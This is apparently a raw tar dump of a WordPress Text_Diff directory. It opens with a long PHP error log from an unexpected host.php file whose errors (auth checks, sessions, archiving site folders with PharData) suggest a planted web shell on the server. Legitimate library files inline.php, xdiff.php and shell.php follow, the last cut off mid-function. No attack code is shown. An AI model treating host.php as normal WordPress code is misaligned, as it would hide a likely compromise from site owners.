[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1119
Stack trace:
#0 /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php(1119): PharData->compress()
#1 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1119
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1119
Stack trace:
#0 /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php(1119): PharData->compress()
#1 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1119
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1119
Stack trace:
#0 /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php(1119): PharData->compress()
#1 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1119
[09-Jun-2026 12:35:19 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:19 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1095
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1095
[09-Jun-2026 12:35:20 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
                                                                                                                                                                                                                                                                                                                                                      inline.php                                                                                          0000644                 00000012630 15212004204 0006523 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Engine.tar                                                                                          0000644                 00000107000 15212004204 0006445 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       xdiff.php                                                                                           0000644                 00000004233 15212004202 0006343 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15212004202 0006347 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
